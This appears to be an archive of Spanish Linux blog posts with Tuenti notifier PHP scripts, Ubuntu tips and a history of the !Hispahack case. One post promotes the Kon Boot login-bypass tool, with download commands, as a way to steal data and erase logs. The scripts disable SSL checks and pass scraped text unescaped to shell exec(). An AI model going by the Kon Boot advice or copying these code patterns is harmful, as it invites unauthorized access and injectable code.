Para instalarla:

sudo apt-get install libnotify-bin

Repasamos pues todas las dependencias:

sudo apt-get install php5-cli
sudo apt-get install php5-curl
sudo apt-get install gnome-scheduler
sudo apt-get install libnotify-bin

Archivos necesarios:

Dentro de la carpeta que quieras # Recomendadio /home/usuario/Tuenti
ico.png # Icono con imagen del tuenti o lo que quieras.
tuenti.php

Como instalarlo:

Una vez tengas los 2 archivos, (recuerda modificar los capos en rojo en tuenti.php por tus datos del tuenti y la carpeta donde lo ejecutes), creamos una tarea programada que se ejecute cada minuto en Aplicaciones > Herramientas del sistema > Tareas programadas
El comando a ejecutar es php /home/tuusuario/Tuenti/tuenti.php

Si todo ha salido bien, cada vez que recibas una visita o tengas algún mensaje nuevo, te aparecerá un mensaje por pantalla informándote de todo.

<?php
/*
*      tuenti.php
*
*      Copyright 2010 Eduardo Ramirez Martinez-Esparza <zeyt@ZeYt>
*
*      This program is free software; you can redistribute it and/or modify
*      it under the terms of the GNU General Public License as published by
*      the Free Software Foundation; either version 2 of the License, or
*      (at your option) any later version.
*
*      This program is distributed in the hope that it will be useful,
*      but WITHOUT ANY WARRANTY; without even the implied warranty of
*      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
*      GNU General Public License for more details.
*
*      You should have received a copy of the GNU General Public License
*      along with this program; if not, write to the Free Software
*      Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
*      MA 02110-1301, USA.
*/

//CONFIG
    $usermail = "example@example.com";
    $password = "example";
    $ruta = "/home/tuusuario/Tuenti/";
    $archivo_visitas = "visitas.txt";
    $cookie = "cookie.txt";
    $opcion_mostrar_visitas = TRUE;
//CONFIG


   function login($usermail, $password, $tcookie){
        $ch= curl_init();
        curl_setopt ($ch, CURLOPT_URL, "https://www.tuenti.com/?m=login&func=do_login");
        curl_setopt ($ch, CURLOPT_POSTFIELDS, "email=$usermail&input_password=$password&timezone=1");
        curl_setopt ($ch, CURLOPT_POST, 1);
        curl_setopt ($ch, CURLOPT_HEADER, 0);
        curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt ($ch, CURLOPT_COOKIEFILE, $tcookie);
        curl_setopt ($ch, CURLOPT_COOKIEJAR, $tcookie);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.5) Gecko/20091105 Fedora/3.5.5-1.fc11 Firefox/3.5.5");
        $res=curl_exec ($ch);
        curl_close($ch);
        return $res;
   }

   function consult($url,$tcookie){
        $ch= curl_init();
        curl_setopt ($ch, CURLOPT_URL, $url);
        curl_setopt ($ch, CURLOPT_HEADER, 0);
        curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt ($ch, CURLOPT_COOKIEFILE, $tcookie);
        curl_setopt ($ch, CURLOPT_COOKIEJAR, $tcookie);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.5) Gecko/20091105 Fedora/3.5.5-1.fc11 Firefox/3.5.5");
        $res = curl_exec ($ch);
        curl_close($ch);
        return $res;
   }

   $resultado = consult("http://www.tuenti.com/?m=home&func=view_home",$cookie);

if ((eregi("<h1>La sesión ha caducado",$resultado)) || (eregi("Por favor, introduce tu e-mail y contraseña de Tuenti para entrar.",$resultado))){
        $login=login($usermail, $password,$cookie);
        $resultado = consult("http://www.tuenti.com/?m=home&func=view_home",$cookie);
   }

   $info = explode("<ul>",$resultado);
   $info = explode("</ul>",$info[1]);
   $info = $info[0];
   $info = str_replace("</li>","</li>\n",$info);

   if (eregi('<div class="eventImage"',$info)){
            $info ="";
   }
   $info = strip_tags($info);

   if ($opcion_mostrar_visitas){
        $trozos = explode('<div class="views"><strong>',$resultado);
        $trozos = explode('</strong>',$trozos[1]);
        $visitas = $trozos[0];
        $visitas = str_replace(".","",$visitas);

        if (file_exists($archivo_visitas)){
            $f = fopen($archivo_visitas,"r");
            $visitas_old = fread($f,filesize($archivo_visitas));
            fclose($f);
        }else{
            $f = fopen($archivo_visitas,"w");
            fclose($f);
            $visitas_old = 0;
        }

        $mostrar_visitas = FALSE;

        if ($visitas>$visitas_old){
            $f = fopen($archivo_visitas,"w");
            fwrite($f,$visitas);
            fclose($f);
            $total = $visitas-$visitas_old;
            $mostrar_visitas = TRUE;
            $imprime_visitas = "Has tenido ". $total ." visitas nuevas. Totales: ".$visitas;
        }
   }
        $titulo = "Notificaciones tuenti:";
   if ($info != ""){
        exec('notify-send -t 2500 "'.$titulo.'" "'. $info .'" -i "'.$ruta.'ico.png" &');
   }
   if ($opcion_mostrar_visitas && $mostrar_visitas){
        exec('notify-send -t 2500 "'.$titulo.'" "'. $imprime_visitas .'" -i "'.$ruta.'ico.png" &');
   }
?>

PHP - Curl a Tuenti (Versión Modificada)

2010-03-24T03:55:00.000+01:00

Necesitarás lo mismo que la versión anterior. Esta es la versión actualizada de tuenti.php que cuenta además el cambio en el número de visitas. Recuerda modificar los campos en rojo.

<?php
/*
*      tuenti.php
*
*      Copyright 2010 Eduardo Ramirez Martinez-Esparza <zeyt@ZeYt>
*
*      This program is free software; you can redistribute it and/or modify
*      it under the terms of the GNU General Public License as published by
*      the Free Software Foundation; either version 2 of the License, or
*      (at your option) any later version.
*
*      This program is distributed in the hope that it will be useful,
*      but WITHOUT ANY WARRANTY; without even the implied warranty of
*      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
*      GNU General Public License for more details.
*
*      You should have received a copy of the GNU General Public License
*      along with this program; if not, write to the Free Software
*      Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
*      MA 02110-1301, USA.
*/

    //MODIFICALO
    $usermail = "example@example.com";
    $password = "tucontraseña";
    $ruta = "/home/TuUsuario/Tuenti/";
    function login($usermail, $password){
        $tcookie="cookie.txt";
        $ch= curl_init();
        curl_setopt($ch, CURLOPT_URL, "https://www.tuenti.com/?m=login&func=do_login");
        curl_setopt ($ch, CURLOPT_POSTFIELDS, "email=$usermail&input_password=$password&timezone=1");
        curl_setopt ($ch, CURLOPT_POST, 1);
        curl_setopt ($ch, CURLOPT_HEADER, 0);
        curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt ($ch, CURLOPT_COOKIEFILE, $tcookie);
        curl_setopt ($ch, CURLOPT_COOKIEJAR, $tcookie);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.5) Gecko/20091105 Fedora/3.5.5-1.fc11 Firefox/3.5.5");
        $res=curl_exec ($ch);
        curl_close($ch);
        return $res;
    }

    function consult($url){
        $tcookie="cookie.txt";
        $ch= curl_init();
        curl_setopt ($ch, CURLOPT_URL, $url);
        curl_setopt ($ch, CURLOPT_HEADER, 0);
        curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt ($ch, CURLOPT_COOKIEFILE, $tcookie);
        curl_setopt ($ch, CURLOPT_COOKIEJAR, $tcookie);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.5) Gecko/20091105 Fedora/3.5.5-1.fc11 Firefox/3.5.5");
        $res = curl_exec ($ch);
        curl_close($ch);
        return $res;
    }

    $login=login($usermail, $password);
    $resultado = consult("http://www.tuenti.com/?m=home&func=view_home");
    $trozos = explode('<div class="views"><strong>',$resultado);
    $trozos = explode('</strong>',$trozos[1]);
    $visitas = $trozos[0];
    if (file_exists("visitas.txt")){
        $f = fopen("visitas.txt","r");
        $visitas_old = fread($f,filesize("visitas.txt"));
        fclose($f);
    }
    else{
        $f = fopen("visitas.txt","w");
        fclose($f);
        $visitas_old = 0;
    }
    $mostrar_visitas = FALSE;
    if ($visitas>$visitas_old){
        $f = fopen("visitas.txt","w");
        fwrite($f,$visitas);
        fclose($f);
        $total = $visitas-$visitas_old;
        $mostrar_visitas = TRUE;
        $imprime_visitas = "Has tenido ". $total ." visitas: ".$visitas;
    }
    require_once("clase_tuenti.php");
    $imprime = "Notificaciones tuenti:\n";
    $con = new tuentiAPI($usermail, $password);
    $r = $con->request('getUserNotifications', array());
    $salto=FALSE;
    if ($r['unread_friend_messages']['count'] > 0){
            $imprime .= "Privados de amigos: ".$r['unread_friend_messages']['count']."\n";
            $salto=TRUE;
    }
    if ($r['unread_spam_messages']['count'] > 0){
        $imprime .= "Mensajes de desconocidos: ".$r['unread_spam_messages']['count']."\n";
        $salto=TRUE;
    }
    if ($r['new_profile_wall_posts']['count'] > 0){
        $imprime .= "Comentarios: ".$r['new_profile_wall_posts']['count']."\n";
        $salto=TRUE;
    }
    if ($r['new_friend_requests']['count'] > 0){
        $imprime .= "Peticiones de amigo: ".$r['new_friend_requests']['count']."\n";
        $salto=TRUE;
    }
    if ($r['new_photo_wall_posts']['count'] > 0){
        $imprime .= "Comentarios en fotos: ".$r['new_photo_wall_posts']['count']."\n";
    }
    if ($r['new_tagged_photos']['count'] > 0){
        $imprime .= "Fotos etiquetadas: ".$r['new_tagged_photos']['count']."\n";
        $salto=TRUE;
    }
    if ($r['new_event_invitations']['count'] > 0){
        $imprime .= "Eventos: ".$r['new_event_invitations']['count'];
        $salto=TRUE;
    }
    if ($salto){
        exec('zenity --info --window-icon="'.$ruta.'ico.png" --text "'. $imprime .'" --timeout 20 &');
    }
    if ($mostrar_visitas){
        exec('zenity --notification --window-icon="'.$ruta.'ico.png" --text "'. $imprime_visitas .'" --timeout 40 &');
    }
?>

PHP + Shell + Zenity = Monitor Acciones Tuenti

2010-03-22T21:02:00.001+01:00

Perdón a todos por la falta de actualización. Los temas se me han acabado literalmente y no recibo nuevas preguntas. Podría hablar de varios juegos y temas muy dispares como las actualizaciones pero hasta Abril no hay versión nueva por lo que nos toca esperar.

En cualquier caso, he estado trasteando con varios lenguajes y aprendiendo varias cosas. Me hubiera gustado traeros un monitor de actualizaciones de tuenti a la altura pero vamos, estamos en versión alpha y hemos usado varias herramientas, todo muy rudimentario.

En cualquier caso, aquí os traigo la explicación de lo que necesitamos:

sudo apt-get install php5-cli
sudo apt-get install php5-curl
sudo apt-get install gnome-schedule
sudo apt-get install zenity

Bien, usaremos PHP para trabajar con la API privada de tuenti que han revelado con una clase muy sencilla.
Para todo esto, crearemos en nuestro directorio personal una carpeta llamada Tuenti que contendrá lo siguiente:
clase_tuenti.php

<?php
/*
* tuentiAPI Class
* Sergio Cruz aka scromega (scr.omega at gmail dot com) http://scromega.net
*
* More info:
* http://scromega.net/7-accediendo-a-la-api-cerrada-de-tuenti.html
*/

class tuentiAPI {
    private $email, $password, $userData;
    function __construct($email, $password) {
        $this->email = $email;
        $this->password = $password;
        $tmp = $this->json('getChallenge', array('type'=>'login'));
        $tmp = self::http($tmp);
        $tmp = json_decode($tmp, true);
        $passcode = md5($tmp[0]['challenge'].md5($password));
        $appkey = 'MDI3MDFmZjU4MGExNWM0YmEyYjA5MzRkODlmMjg0MTU6MC4xMzk0ODYwMCAxMjYxMDYwNjk2';
        $tmp = $this->json('getSession', array('passcode'=>$passcode,'application_key'=>$appkey,'timestamp'=>$tmp[0]['timestamp'],'seed'=>$tmp[0]['seed'],'email'=>$email));
        $tmp = self::http($tmp);
        $tmp = json_decode($tmp, true);
        $this->userData = $tmp[0];
    }
    private static function http($post) {
        $headers[] = "Content-length: ".strlen($post)."\r\n";
        $headers[] = $post;
        $ch = curl_init('http://api.tuenti.com/api/');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
        $result = curl_exec($ch);
        if($result === false) die('Cannot execute request: '.curl_error($ch));
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        return $result;
    }
    private function json($method, $parameters) {
        $array['requests'][0][0] = $method;
        $array['requests'][0][1] = $parameters;
        if(!empty($this->userData['session_id'])) {
            $array['session_id'] = $this->userData['session_id'];
        }
            $array['version'] = '0.4';
        return json_encode($array);
    }
    public function request($method, $parameters=array()) {
        $tmp = $this->json($method, $parameters);
        $tmp = self::http($tmp);
        $tmp = json_decode($tmp, true);
        return $tmp[0];
    }
}

?>

tuenti.php

<?php

    require_once("clase_tuenti.php");
    $con = new tuentiAPI('tudirecciondemail@example.com', 'tupassword');
    $r = $con->request('getUserNotifications', array());

    $imprime = "Notificaciones tuenti:\n";
    $salto=FALSE;
    foreach ($r as $dato){
            if ($dato['count'] > 0){
                $salto=TRUE;
            }
    }
    if ($r['unread_friend_messages']['count'] > 0){
            $imprime .= "Mensajes de amigos: ".$r['unread_friend_messages']['count']."\n";
    }
    if ($r['unread_spam_messages']['count'] > 0){
        $imprime .= "Mensajes de desconocidos: ".$r['unread_spam_messages']['count']."\n";
    }
    if ($r['new_profile_wall_posts']['count'] > 0){
        $imprime .= "Comentarios: ".$r['new_profile_wall_posts']['count']."\n";
    }
    if ($r['new_friend_requests']['count'] > 0){
        $imprime .= "Peticiones de amigo: ".$r['new_friend_requests']['count']."\n";
    }
    if ($r['new_photo_wall_posts']['count'] > 0){
        $imprime .= "Fotos etiquetadas: ".$r['new_photo_wall_posts']['count']."\n";
    }
    if ($r['new_photo_wall_posts']['count'] > 0){
        $imprime .= "Comentarios en fotos: ".$r['new_photo_wall_posts']['count']."\n";
    }
    if ($r['new_tagged_photos']['count'] > 0){
        $imprime .= "Fotos etiquetadas: ".$r['new_tagged_photos']['count']."\n";
    }
    if ($r['new_event_invitations']['count'] > 0){
        $imprime .= "Eventos: ".$r['new_event_invitations']['count'];
    }
    if ($salto){
exec('zenity --info --window-icon="/home/TuUsuario/Tuenti/favicon.20425.png" --text "'. $imprime .'" --timeout 20');
    }
?>

Logotipo de favicon de tuenti. Podéis descargalo con el siguiente comando:

wget http://estaticos2.tuenti.com/layout/web2/images/favicon.20425.png

Bien, ahora iremos a Aplicaciones > Herramientas del Sistema > Tareas programadas y añadiremos la siguiente:

Descripción: Tuenti Monitor
Comando: php "/home/TuUsuario/Tuenti/tuenti.php"
Básico: Cada minuto

Aceptaremos y a partir de ahora si lo hemos hecho bien nos aparecerá una ventana notificándonos las actualizaciones.

Si te resultara muy molesto el tipo de advertencia lo puedes cambiar por un icono en el área de notificaciones. Para ello en tuenti.php habría que modificar la línea del exec y dejarla así:

exec('zenity --notification --window-icon="/home/TuUsuario/Tuenti/favicon.20425.png" --text "'. $imprime .'" --timeout 20');

Por último recapitulemos. Necesitamos 2 archivos en php y un archivo png. Para poder ejecutar todo bien necesitaremos lo que arriba describí. Todos los archivos deberán ir dentro de la carpeta Tuenti que irá dentro de la carpeta de usuario.

Todo lo que está en color rojo tendrá que ser modificado por ti para poder usarlo. TuUsuario en mi caso por -> zeyt y en tuenti.php tu usuario y contraseña para tuenti.

Si tienes alguna pregunta no dudes en comentar y si quieres dar el salto y crear la aplicación en PyGtk, bienvenido seas!

Ubuntu - Problemas con dependencias

2010-02-25T15:05:00.000+01:00

Un lector nuestro nos comenta que tiene problemas con las dependencias, al parecer debido a la última actualización de OpenOffice que está dando algunos problemas.

En cualquier caso si no os inicia sesión el sistema, tendremos que entrar en el famoso Recovery Mode (consola pura) y ejecutar ciertos comandos para arreglarlo.

Lo primero de todo es arreglar las dependencias con el comando:

sudo apt-get install -f

Si no funcionara porque hubiera algún programa que tiene problemas de dependencias podríamos matarlo con el comando kill y ps.

Una vez muerto el proceso que da problemas tan sólo tendremos que ejecutar el comando anterior de nuevo. Si siguiera dando problemas trataríamos de borrar el paquete que da problemas mediante fuerza bruta con el siguiente comando:

sudo dpkg -r --force-all NombrePaquete

Si esto siguiera dando problemas trataríamos de actualizar los paquetes mediante los dos siguientes comandos:

sudo apt-get update
sudo apt-get install safe-upgrade

Si aún así siguiera dando problemas, antes que formatear existe un comando que nos permite reinstalar todos los paquetes:

sudo dpkg-reconfigure -phigh -a

Linux - Matar Procesos por consola

2010-02-25T14:43:00.000+01:00

Aunque el monitor de sistema sea bastante efectivo, hay veces en las que para matar un proceso se tarda menos usando la consola. También es útil la consola para ver ciertos procesos ocultos que queremos matar y para saber si tenemos algo extraño como rootkits.

Por todo esto hoy hablaremos del comando ps y de como matar un proceso desde el terminal. Para ver todos los procesos tan sólo tendremos que emplear el siguiente comando:

ps -ax

Una vez ejecutado, nos aparecerá una lista bastante grande con todos los procesos y su código identificador, en el cual tendremos que fijarnos para matar al proceso.

El siguiente paso es muy sencillo, sólo hay que usar el comando kill con su respectiva señal para que el proceso se finalice. Para ello ejecutaremos el siguiente comando:

kill -9 IDProceso

Si todo ha ido bien nos aparecerá un mensaje indicando que el proceso ha sido matado correctamente :).

Ubuntu - Ver cuando se activa la webcam.

2010-02-22T15:55:00.000+01:00

Uno de nuestros lectores, a propósito del tema de la webcam, nos propuso un programa que nos mostrará en la barra de notificaciones si la webcam se ha activado.

Son muchas las historias que cuentan el espionaje de desconocidos a través de la webcam y como existe cierta paranoia nunca está de más tener un notificador.

El programa que usaremos se llama Camera-Monitor y su uso es realmente fácil. Para instalarlo sólo tendremos que ejecutar el siguiente comando en el terminal:

sudo apt-get install cameramonitor

Una vez instalado, pasaremos a configurarlo para que se autoinicie con nuestra sesión. Para ello iremos a Sistema > Preferencias > Camera Monitor Preferences . Una vez aquí, escogeremos la entrada de vídeo de la webcam y el tiempo en segundos. Activaremos la notificación y cerraremos, como muestra la imagen.

Ubuntu - Cairo-Dock la barra de MAC

2010-02-20T10:08:00.000+01:00

Hace tiempo hablamos de gnome-docky. El sistema es bueno pero no esta nada desarrollado, por eso hoy os recomiendo Cairo-Dock, una potentísima barra de herramientas que usa OpenGL y que no consume demasiados recursos.

Si os diga la verdad, a mi no me gustan nada estas cosas, pierdo el tiempo navegando a través de estas barras pero la verdad que queda muy espectacular ya que esta barra de herramientas contiene numerosos efectos y es muy configurable.

En cualquier caso hoy instalaremos Cairo-Dock y haremos nuestro sistema más parecido al MAC. Instalaremos Cairo-Dock con el siguiente comando de terminal:

sudo apt-get install cairo-dock

Una vez instalado lo encontraremos en Aplicaciones > Accesorios > GLX-Dock , lo abriremos y lo configuraremos a nuestro gusto ;)

Ubuntu - Efectos fotos Webcam

2010-02-19T10:28:00.000+01:00

Para los que tengáis envidia de los Maqueros y su programa de hacer fotos con webcam, estáis de enhorabuena. Ubuntu y en general Linux tiene un programita para hacer esto, además es libre.

Cheese nos permite modificar la visión de la webcam con varios efectos para hacer fotos o vídeos. Además podremos descargar efectos extras y hacer el gamba con los amigos que les gusten hacer el tonto.

Para instalarlo es muy sencillo. Primero de todo necesitamos una cámara web. Lo siguiente es abrir un terminal y escribir lo siguiente:

sudo apt-get install cheese

Una vez instalado lo encontraremos en Aplicaciones > Sonido y Vídeo > Fotomatón Cheese de cámara Web. Lo abrimos, pulsaremos sobre efectos y tomamos unas simples instantáneas. Además víde, acepta incluso ráfagas de fotos para que puedas escoger cual subir cual auténtico posser de Internet.

*Don ZeYt feeling like a mac user

Ubuntu - TiVion Ver televisión en Internet

2010-02-17T22:22:00.001+01:00

Existen muchas alternativas para ver la televisión en internet gratis. He escogido una bastante buena porque es un proyecto español, lo que permitirá ver más canales de lo normal y también porque no instala cientos de librerías innecesarias.

TiVion es fácil de instalar y funciona bastante bien aunque la verdad que la cantidad de programas que ofrece no destaca demasiado. En cualquier caso si disfrutas con algunos canales de TDT o te gusta ver Intereconomía antes de tu sesión de sado-maso, instala TiVio, no tienes nada que perder.

Para instalarlo, hay que dar algún paso extra aunque es bastante sencillo. Abre un terminal y ejecuta:

sudo add-apt-repository ppa:shakaran/ppa
sudo apt-get update
sudo apt-get install tivion

Una vez instalado, lo encontraremos en Aplicaciones > Internet > TiVion , Tras abrirlo podremos disfrutar de los canales de varios países, aunque yo no veo la televisión.

El disquette de la muerte - Kon Boot

2010-02-17T20:32:00.000+01:00

Kon Boot es una herramienta potentísima escrita en ensamblador que modifica el kernel al vuelo para obtener privilegios de administrador sin romper contraseñas ni cosas extrañas.

Escrito íntegramente en ensamblador para arquitecturas x86, este sencillo programa, que cabe en un disquette, es capaz de entrar como administrador en sistemas Linux y en sistemas comerciales privativos, incluso en sus últimas versiones.

Su funcionamiento es bastante sencillo, metes el disquette o CD, lo inicias desde la unidad que elijas y listo. Iniciará el sistema operativo de la máquina con privilegios de administrador, lo que te permitirá robar información, borrar los logs e irte bailando a otro lado.

Para descargarlo es muy sencillo, simplemente hay que usar el siguiente comando:
Para disquette:

wget http://www.piotrbania.com/all/kon-boot/data/FD0-konboot-v1.1-2in1.zip

Para CD:

wget http://www.piotrbania.com/all/kon-boot/data/CD-konboot-v1.1-2in1.zip

Si estas pensando en llevar un pen drive cargadito de herramientas de seguridad, esta no debe faltarte nunca. Os invito a que lo probéis.

Cine - Documental caso !Hispahack

2010-02-16T12:17:00.000+01:00

Bueno, a pesar de que este documental es antiguo y tiene un toque retro con gente que la verdad no se que pinta ahí, se menciona el caso !Hispahack y salen algunos de sus miembros. También sale algún que otro flipado pero esta bien.

Disfrutarlo!

Privacidad 3: NoScript - Bloquea javascript y otras malas compañías.

2010-02-16T12:10:00.001+01:00

Sin duda, poder bloquear la publicidad está muy bien. Desde mi punto de vista no es muy ético pero cada persona puede hacer con sus ciclos de ordenador lo que quiera. El problema radica principalmente en que muchos webmasters tienen que pagar las malas acciones de ciertas agencias y mayoristas de la publicidad acepten banners flash con sonidos molestos y que sólo consumen recursos. Ante este potente problema la industria busca soluciones como bloquear a los que usen AdBlockPlus.

En cualquier caso, como no creemos en estos sistemas, os recomiendo directamente que empleéis la extensión para firefox NoScript. Su funcionamiento es bastante sencillo. Puedes bloquear javascript globalmente y no tener ningún problema de ClickJacking y seguridad al navegar, o desactivar ciertas cosas que sólo sirven para molestar. No obstante, también te protegerá contra ataques XSS y ciertas actividades maléficas como los cruces de dominios ante los que cualquier usuario normal ni se daría cuenta.

Para instalarlo es muy sencillo, iremos a la página del complemento y pulsaremos sobre Añadir a Firefox. Una vez instalado y reiniciado el navegador nos encotraremos en la parte inferior con un pequeño icono parecido a este:

Simplemente, permitiremos JavaScript Globalmente y bloquearemos ciertos scripts que no nos interesan como el de Google Adsense, Google Analytics (para ver que sitios visitamos) y ciertas cosas que nos molesten bastante como los popups de megavideo etc...

Sí, todo esto es bloqueable. No obstante según su creador, un experto en seguridad web, de verdad de la buena, Giorgio Maone, lo mejor es tener javascript desbloqueado globalmente y permitir los scripts que nosotros queramos meter en nuestra lista blanca, youtube, megavideo, etc...

Para permitirlo sería tan sencillo como entrar en cualquier página, y ver que nos aparece debajo de la barra de direcciones los scripts que han sido bloqueados. Permitiremos los que queramos y listo :)

GScan2PDF - Escanea documentos a pdf y usa el OCR

2010-02-16T11:48:00.001+01:00

Uno de nuestros lectores nos ha propuesto un tema bastante interesante. Para los usuarios que se pregunten si un escáner funciona bajo Linux, la respuesta es sí. Sin duda una de las herramientas más potentes que se pueden recordar es el OCR (Optical Character Recognition) que nos permite escanear un documento y poder editarlo con nuestra suite ofimática favorita, muy útil para pasar apuntes a limpio con muy poco trabajo.

En cualquier caso, y dando ciertas pautas para que no haya problemas, recomiendo que las fórmulas matemáticas e imágenes las metáis en un cuadrado negro hecho a boli o rotulador. Así el sistema las escaneará como imágenes. El resto del texto, con que tengáis un poco de buena letra y seáis más o menos limpios no dará demasiados errores.

Para hacer esto usaremos el programa GScan2PDF que lo podréis encontrar en los repositorios oficiales, lo que te ahorrará algún que otro dolor de cabeza.
Para instalarlo es tan sencillo como abrir un terminal y ejecutar el siguiente comando:

sudo apt-get install gscan2pdf

Una vez instalado, lo podremos encontrar en Aplicaciones > Gráficos > GScan2Pdf.

Tras abrirlo, pulsaremos sobre el icono del escáner, buscará dispositivos y procederá a escanearlos. Si no tuvieras escáner y te corriera urgencia también podrías conectar una cámara digital y la usaría como dispositivo de entrada de imágenes aunque los resultados pueden variar según la calidad de nuestra cámara.

Caso !Hispahack

2010-02-15T22:09:00.000+01:00

El "caso Hispahack" dio lugar a la primera sentencia en España sobreacceso ilegal a un sistema informático y fue la primera redada dirigidaespecíficamente contra un grupo hacker.

La investigación policial se inició a partir de una queja, queno llegó a ser una denuncia oficial, de Telefónica. Dicha queja tratabasobre un intento de acceso mediante Internet a ordenadores de la NASA,en Estados Unidos, y a ordenadores de la Universidad de Oxford. Tambiénse suponía que el grupo estaba relacionado con la modificación de unapágina web del Congreso de los Diputados de España.

Posteriormente, el 20 de enero de 1998, un Proveedor deServicios de Internet puso una denuncia contra dos personas apodadasMagne y Stk. La segunda era miembro de !Hispahack. Según el proveedor,habían entrado en sus máquinas y robado claves de acceso y nombres de2.500 clientes. Meses después, el 25 de marzo, la UniversitatPolitècnica de Catalunya(UPC) presentaba otra denuncia, por un ataqueacontecido el 11 de septiembre de 1997, que culminó con la obtención deprivilegios de administrador en dieciséis ordenadores y la instalaciónde sniffers en cinco. Jfs, de !Hispahack, fue acusado de ello.

Según la versión del Equipo de Respuesta a EmergenciasInformáticas de la UPC (esCERT), que llevó a cabo esta investigación,Jfs había instalado mal un sniffer, que grabó todos sus pasos: entrabadesde un ordenador desatendido de la Universidad de Oviedo, que usabacomo repositorio de programas y puente para asaltar otros sistemas. Losdatos recogidos en la UPC eran transferidos al servidor del cibercafémallorquín La Red Café, a un directorio llamado Jfs donde se accedíacon el nombre de usuario hispahack.

En abril de 1998, el Grupo de Delincuencia Informática de laUnidad Central Operativa de la Guardia Civil detuvo a los dos miembrosde !Hispahack: Stk y Jfs, y a dos personas más: JR y Magne. Se lesacusaba de delitos de revelación de secretos y daños informáticos. Unabogado, Carlos Sánchez Almeida, fue también fue llamado a declarar porque había publicado en Mentes Inquietasun artículo sobre los derechos de los detenidos. Posteriormente,Sánchez Almeida defendería como letrado a !Hispahack en el juicio.

Anselmo del Moral, responsable entonces del Grupo deDelincuencia Informática de la Guardia Civil, explicó por su parte lasrazones que motivaron la redada en una comparecencia ante la ComisiónEspecial para Redes Informáticas del Senado, el 30 de septiembre de1999:

La investigación se basa fundamentalmente en una serie depotenciales presuntos grupos de intrusos informáticos relacionados conuna queja procedente de Telefónica sobre un intento de acceso a losordenadores de la NASA. También se les suponía relacionados con lamodificación de una página web del Congreso de los Diputados.

Del Moral se refirió a un asalto, ocurrido el 31 de octubre de 1997,a la web del Congreso de los Diputados, donde alguien dejó la pintada: Cuantosdiputados y cuantas comisiones harán falta para descubrir que poner unordenador en internet no es sólo enchufarlo [Manda Guebos!!...1-3,seguimos avanzando! (!H).
Según "El País, las detenciones de Stk y Jfs se iniciaron por un soplo a la Guardia Civil:

Un buen día les llegó una foto de un grupo de jóvenesencima de cuyos rostros estaba escrito su alias. Uno de ellos era JFS.Otro, STK, Un mensaje decían: Estos son Hispahack y son losresponsables de un ataque al Congreso de los Diputados. El ataque alCongreso se había realizado desde Estados Unidos. Poco después, la NASAenvió una queja a Telefónica porque alguien, desde España, habíaintentado asaltar sus ordenadores y había dejado la huella H!. Severifica que el asalto venía de un proveedor de Girona, quien denunciaque le han sustraido las claves de acceso de 2.500 usuarios.Paralelamente, la Universitat POlitecnica de Catalunya denuncia conseis meses de retraso una serie de incidentes en 16 ordenadores,procedentes de la Universidad de Ovideo. JFS y STK trabajan en Gibnet,la telefónica de Gibraltar. Utilitzando un subterfugio se logra un citacon ellos en la Linea de la Concepción. Pasaron dos días en carcel."

Finalmente, de los cuatro detenidos sólo Jfs fue juzgado, por laintrusión en la UPC. El 28 de mayo de 1999, el juez Juan Carlos LlavonaCalderón, del Juzgado de lo Penal 2 de Barcelona, lo absolvía.La sentencia consideraba los hechos probados pero no atribuibles a Jfs,aunque el directorio del cibercafé de Mallorca llevase su apodo:

El acceso se hallaba al alcance de cualquiera que entrase através del usuario "hispahack" y, por lo tanto, las sospechas noalcanzan la categoría de indicios bastantes como para desvirtuartotalmente la presunción de inocencia.

En la sentencia se definió por primera vez en el ámbito judicial español el fenómeno hacking,identificándolo con el intrusismo informático, un conjunto decomportamientos de acceso o interferencia no autorizados a un sistemainformático o red de comunicación electrónica de datos, y lautilización de los mismos sin autorización o más allá de lo autorizado.
El juez aprovechó la sentencia para dar también una definición moral del hacking:

Conductas que, en cuanto suponen de agresión contra elinterés del titular de un determinado sistema de que la información queen él se contiene no sea interceptada, resultan tanto más reprobables yaún merecedoras de sanción moral.

El caso generó mucha polémica por la obtención irregular de algunaspruebas, ya que cuatro importantes proveedores de Internet dieron, sinorden judicial, todos los datos de las cuentas de correo que les pidióla Guardia Civil. También se criticó que el esCERT actuase como peritoimparcial en el juicio y, a la vez, parte denunciante por supertenencia a la UPC.
El Caso !Hispahack sentó jurisprudencia en diversos aspectos,por la criminalización del hacking hecha por el juez, la no reprobacióna las fuerzas de la ley por obtener información de personas sinautorización judicial y el hecho de aceptar los logs como prueba.

Automatizar extracción de archivos en bash

2010-02-15T21:54:00.002+01:00

Hola, ante todo perdón por la falta de nuevos temas. Si os digo la verdad llevo un buen ritmo pero me he quedado sin temas. Os pediría que si tenéis alguna duda, aprovechéis y comentéis pidiendo temas.
En cualquier caso he estado estos días trasteando con bash, el interprete de comandos de Linux y la verdad que las cosas funcionan bastante bien.

